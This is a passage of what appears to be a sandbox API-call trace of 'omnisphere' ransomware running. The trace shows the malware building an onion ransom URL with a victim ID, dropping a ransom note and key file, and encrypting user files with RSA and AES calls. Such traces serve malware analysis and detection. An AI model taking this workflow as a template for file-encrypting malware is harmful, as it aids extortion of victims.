lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.632] GetProcessHeap () returned 0x1600000 [0119.632] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b20b8 [0119.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b20b8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.632] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.632] GetProcessHeap () returned 0x1600000 [0119.632] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afe68 [0119.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afe68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.632] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.632] GetProcessHeap () returned 0x1600000 [0119.632] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2e88 [0119.632] PathCombineW (in: pszDest=0x16a2e88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.632] GetProcessHeap () returned 0x1600000 [0119.632] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b2888 [0119.632] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.633] WriteFile (in: hFile=0x28c, lpBuffer=0x16b2888*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b2888*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.633] CloseHandle (hObject=0x28c) returned 1 [0119.633] GetProcessHeap () returned 0x1600000 [0119.633] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16be2a0 | out: hHeap=0x1600000) returned 1 [0119.633] GetProcessHeap () returned 0x1600000 [0119.633] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.633] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.634] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.634] CloseHandle (hObject=0x28c) returned 1 [0119.634] GetProcessHeap () returned 0x1600000 [0119.634] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.634] GetProcessHeap () returned 0x1600000 [0119.634] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c348 | out: hHeap=0x1600000) returned 1 [0119.634] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22496844, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22496844, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22496844, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0xd3, cFileName="BIa5loVm.lnk", cAlternateFileName="")) returned 1 [0119.634] GetProcessHeap () returned 0x1600000 [0119.635] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656388 [0119.635] PathCombineW (in: pszDest=0x1656388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="BIa5loVm.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BIa5loVm.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BIa5loVm.lnk" [0119.635] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BIa5loVm.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bia5lovm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.635] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1171) returned 1 [0119.635] GetTickCount () returned 0x115de47 [0119.635] GetTickCount () returned 0x115de47 [0119.635] GetTickCount () returned 0x115de47 [0119.635] GetTickCount () returned 0x115de47 [0119.635] GetTickCount () returned 0x115de47 [0119.635] GetTickCount () returned 0x115de47 [0119.635] GetTickCount () returned 0x115de47 [0119.635] GetTickCount () returned 0x115de47 [0119.635] GetTickCount () returned 0x115de47 [0119.635] GetTickCount () returned 0x115de47 [0119.635] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] GetTickCount () returned 0x115de47 [0119.636] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0119.637] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0119.637] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.637] CryptDestroyKey (hKey=0x16394e8) returned 1 [0119.637] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0119.637] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x493, lpName=0x0) returned 0x288 [0119.638] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x493) returned 0x1480000 [0119.638] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0119.641] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.641] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.641] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.642] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.643] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.643] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.643] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.643] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.643] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.644] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.645] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 